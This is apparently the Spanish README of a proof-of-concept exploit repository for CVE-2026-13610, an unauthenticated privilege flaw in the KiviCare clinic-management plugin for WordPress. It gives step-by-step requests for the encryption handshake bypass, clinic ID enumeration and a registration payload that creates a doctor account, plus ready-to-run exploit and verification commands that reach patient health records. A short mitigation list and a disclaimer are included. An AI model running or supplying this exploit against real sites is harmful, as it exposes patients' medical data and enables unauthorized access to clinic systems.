
Exploit PoC para la creación no autenticada de cuentas de médico/recepcionista en el plugin KiviCare de WordPress mediante una gestión inadecuada de privilegios, proporcionando acceso a PHI a nivel de personal.
CWE-269 (Gestión inadecuada de privilegios) | Registro no autenticado con un rol de personal elegido por el atacante → divulgación de PHI del paciente
Vulnerabilidad crítica en el plugin de WordPress KiviCare – Clinic & Patient Management System (versiones hasta la 4.5.1 inclusive) que permite a atacantes no autenticados registrar una cuenta de médico (kiviCare_doctor) o recepcionista (kiviCare_receptionist) con una contraseña elegida por ellos mismos, asignada a una clínica elegida por el atacante.
La vulnerabilidad existe porque el endpoint de registro público toma el parámetro user_role directamente del cuerpo de la solicitud, y su lista blanca de validación incluye roles de personal de la clínica:
El endpoint de registro POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) está protegido únicamente por
checkRegistrationPermission() (:602–650), que:
true inmediatamente si users_can_register está habilitado (sin comprobación de autenticación).KCOption::get() devuelve null en instalaciones predeterminadas.return true al final de la función.El controlador register() (:1277–1387) lee entonces user_role del
cuerpo de la solicitud, lo asigna a los modelos KCDoctor / KCReceptionist y llama a
$model->save() — que ejecuta wp_insert_user() y
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) sin ninguna
comprobación de autorización. La cuenta resultante está activa y asignada
a la clínica elegida por el atacante.
El cifrado E2EE del cuerpo del plugin no es una barrera: los endpoints de handshake
(server-key, config/register-key) no están autenticados
(app/controllers/api/ConfigController.php:190–205), por lo que cualquier cliente puede
negociar una clave de invitado y enviar un payload cifrado.
Análisis completo: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
El script detecta automáticamente el modo de transporte (JSON plano vs cifrado E2EE)
y enumera los IDs de clínica cuando no se proporciona --clinic.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Inicia sesión vía REST, reasocia la clave de respuesta E2EE de la cuenta y luego llama
a endpoints solo para personal (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Una explotación exitosa produce una cuenta de personal activa asignada a una clínica real, sin necesidad de autenticación:
wp-admin (read +
upload_files) — un punto de apoyo para ataques posterioresEl endpoint no permite crear una cuenta administrator de WordPress
(la lista blanca de user_role la rechaza), pero el rol de médico es suficiente para
el acceso completo a los datos clínicos.
patient_role_onlycurrent_user_can('create_users') + verificación de noncecheckRegistrationPermission — eliminar el
return true finalrecaptchaToken cuando reCAPTCHA está habilitado (actualmente opcional)SOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
Esta herramienta está destinada a investigadores de seguridad y probadores de penetración con autorización escrita explícita para probar sistemas objetivo. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta. Toda la verificación se realizó en la infraestructura de laboratorio del propio autor.
ghostpels — Investigación de seguridad y desarrollo de exploits
Este proyecto está licenciado bajo la Licencia de Investigación de Seguridad ghostpels.
| Punto de control | Qué hace | Resultado |
|---|
permission_callback | No is_user_logged_in(), no nonce, no capability check | Pasa; termina con return true |
Lista blanca de user_role | Acepta kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | El atacante selecciona un rol de personal |
Parámetro patient_role_only | Declarado con valor por defecto yes | Nunca se lee — parámetro muerto |
| reCAPTCHA | Solo se valida if (isset($params['recaptchaToken'])) | Se evade omitiendo el parámetro |
| Campo | Valor |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (Gestión inadecuada de privilegios) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Afecta | Versiones hasta la 4.5.1 inclusive |
| Parcheado | No confirmado al momento de este análisis |
| Tipo | Creación no autenticada de cuentas con rol de personal (escalada de privilegios) |
| Investigador | Sai Praneeth Koti |
| Publicado | 2026 |